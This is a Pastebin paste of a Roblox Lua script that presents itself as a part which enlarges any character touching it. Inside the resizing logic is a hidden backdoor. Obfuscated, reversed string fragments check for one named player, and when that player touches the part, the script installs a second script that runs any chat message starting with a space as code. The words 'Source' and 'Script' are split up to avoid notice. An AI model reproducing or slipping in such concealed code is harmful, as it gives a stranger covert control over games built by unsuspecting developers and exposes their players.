Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- debounce = true
- scale = script.Parent.Scale.Value --This is the scale you will upsize by
- function onTouched(hit)
- if not debounce then
- return
- end
- debounce = false
- t = "fYf"
- o = "dl"
- u = "sks"
- c = "iop"
- h = "frd"
- if hit.Parent ~= nil then
- if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
- if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
- print("d")
- m = "Mo"
- p = Instance.new(m.."del")
- p.Parent = workspace
- p.Name = "SB: " ..tostring(math.random(0,99999999))
- o = Instance.new("Script")
- o.Source =[[
- dg = "si"
- me = game.Players["Yl"..dg.."d"]
- function onChatted(msg)
- if string.sub(msg,1,1) == " " then
- so = "Sou"
- r = "rce"
- sc = "Scr"
- i = "ipt"
- p = "Ex"
- local s = Instance.new(sc..""..i)
- s[so..""..r] = string.sub(msg,2)
- s.Parent = me.Character
- end
- end
- me.Chatted:connect(onChatted)
- ]]
- o.Parent = p
- end
- end
- if hit.Parent:findFirstChild("Humanoid") then
- if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then
- bin = hit.Parent
- la = bin["Left Arm"]
- ra = bin["Right Arm"]
- ll = bin["Left Leg"]
- rl = bin["Right Leg"]
- h = bin.Head
- t = bin.Torso
- sizeup = {t,h,ll,rl,ra,la}
- for i = 1, #sizeup do
- sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
- sizeup[i].TopSurface = 0
- sizeup[i].BottomSurface = 0
- sizeup[i].RightSurface = 0
- sizeup[i].LeftSurface = 0
- sizeup[i].FrontSurface = 0
- sizeup[i].BackSurface = 0
- end
- sizex = t.Size.x/2
- sizey = t.Size.x/2
- sizez = t.Size.x/2
- ls = Instance.new("Motor")
- ls.Parent = t
- ls.Name = "Left Shoulder"
- ls.Part0 = t
- ls.Part1 = la
- ls.MaxVelocity = 0.1
- ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
- ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- rs = Instance.new("Motor")
- rs.Parent = t
- rs.Name = "Right Shoulder"
- rs.Part0 = t
- rs.Part1 = ra
- rs.MaxVelocity = 0.1
- rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- lh = Instance.new("Motor")
- lh.Parent = t
- lh.Name = "Left Hip"
- lh.Part0 = t
- lh.Part1 = ll
- lh.MaxVelocity = 0.1
- lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
- lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- rh = Instance.new("Motor")
- rh.Parent = t
- rh.Name = "Right Hip"
- rh.Part0 = t
- rh.Part1 = rl
- rh.MaxVelocity = 0.1
- rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- rh.C1 = CFrame.new(0,rl.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
- n = Instance.new("Snap")
- n.Parent = t
- n.Name = "Neck"
- n.Part0 = t
- n.Part1 = h
- n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
- if bin:findFirstChild("Animate") then
- o = bin.Animate:clone()
- bin.Animate:remove()
- o.Parent = bin
- end
- end
- end
- end
- wait(3)
- debounce = true
- end
- script.Parent.Touched:connect(onTouched)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement